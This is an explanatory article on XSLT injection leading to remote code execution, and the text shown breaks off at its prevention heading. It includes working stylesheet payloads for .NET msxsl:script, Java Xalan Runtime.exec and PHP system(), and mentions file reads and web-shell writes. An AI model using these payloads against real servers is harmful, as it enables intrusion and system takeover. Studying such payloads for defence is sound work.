How XSLT Injection Leads to Remote Code Execution

Extensible Stylesheet Language Transformations (XSLT) injection is a critical vulnerability that occurs when an application processes untrusted, user-supplied XSLT stylesheets or concatenates unsanitized user input directly into an XSL template. When an XSLT processor evaluates a malicious stylesheet, attackers can leverage native transformation features, custom extension functions, and external scripting capabilities embedded within the stylesheet to execute arbitrary system commands, leading directly to Remote Code Execution (RCE).

Understanding XSLT Processing and Injection

XSLT is a Turing-complete, XML-based language designed to transform XML documents into other formats, such as HTML, plain text, or alternative XML structures. Processing involves two primary components: the XML data source and the XSLT stylesheet containing the transformation logic.

An XSLT injection vulnerability arises when an application allows an external user to control the entire stylesheet or inject arbitrary XSL elements into a pre-existing template. Because modern XSLT parsers often support advanced programmatic capabilities to extend standard transformation logic, an attacker who controls the stylesheet can instruct the underlying server-side engine to perform actions far beyond simple document formatting.

Primary Vectors for Remote Code Execution

The path from XSLT injection to RCE depends on the specific XSLT processing library, the host runtime environment (.NET, Java, PHP, etc.), and the parser’s configuration.

1. Embedded Scripting Blocks (.NET / MSXML)

Certain processors, such as Microsoft’s XslCompiledTransform or legacy MSXML engines, support embedded script blocks via proprietary namespaces like msxsl:script. If script execution is enabled in the processor settings, an attacker can embed languages such as C#, JScript, or VBScript directly into the stylesheet.

<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
    xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
    xmlns:user="http://example.com/mynamespace">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
      public void RunCommand(string cmd) {
          System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
      }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:RunCommand('whoami')"/>
  </xsl:template>
</xsl:stylesheet>

When evaluated, the parser compiles and executes the embedded code under the security context of the web application.

2. Java Reflection and Extension Functions (Xalan, Saxon)

Java-based processors like Apache Xalan and Saxon often enable Java class instantiation and method invocation directly from XSLT using specific namespace URIs. Attackers can map a namespace to standard Java classes and invoke dangerous methods, such as java.lang.Runtime.getRuntime().exec().

<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="runtime" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($runtime, 'id')"/>
  </xsl:template>
</xsl:stylesheet>

If extension functions are not explicitly disabled, the processor automatically resolves the class, creates the instance, and runs the arbitrary operating system command.

3. Native PHP Function Execution (libxslt)

In PHP environments utilizing XSLTProcessor from libxslt, the application can be configured to allow arbitrary PHP functions inside transformations using registerPHPFunctions().

If this feature is active and an attacker supplies the stylesheet, they can invoke functions like system(), exec(), or passthru():

<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
    xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system', 'uname -a')"/>
  </xsl:template>
</xsl:stylesheet>

4. Secondary Vectors: Arbitrary File Read and Write

Even if direct command execution extensions are disabled, attackers can exploit built-in functions like document() to read local system and configuration files, or use vendor-specific output tags (such as xsl:result-document or redirect:write) to write malicious files (e.g., web shells) to accessible web directories.

Prevention and Mitigation

Securing XML architectures against XSLT-induced RCE requires strict parsing controls and architecture-level design patterns: